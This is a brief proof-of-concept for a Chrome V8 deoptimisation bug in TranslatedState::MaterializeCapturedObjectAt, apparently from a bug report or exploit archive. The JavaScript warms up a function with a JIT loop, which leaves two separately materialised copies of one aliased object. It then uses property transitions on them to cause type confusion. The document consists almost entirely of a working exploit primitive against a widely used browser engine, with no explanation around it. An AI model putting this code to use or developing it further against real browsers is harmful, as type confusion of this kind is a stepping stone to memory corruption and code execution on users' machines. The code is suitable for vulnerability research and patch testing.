Chrome: V8: TranslatedState::MaterializeCapturedObjectAt caching bug

                                                function opt(b) {
    let iterator = new Set().values();
    iterator.x = 0;

    let arr = [iterator, iterator];
    if (b)
        return arr.slice();
}

for (let i = 0; i < 100000; i++)
    opt(false);

let res = opt(true);
let a = res[0];
let b = res[1];

print(a === b);  // false
a.x = 7;

print(b.x);  // 7

a.a = 1.1;  // transition
b.b = 0x1234;
a.a = 1.1;  // type confusion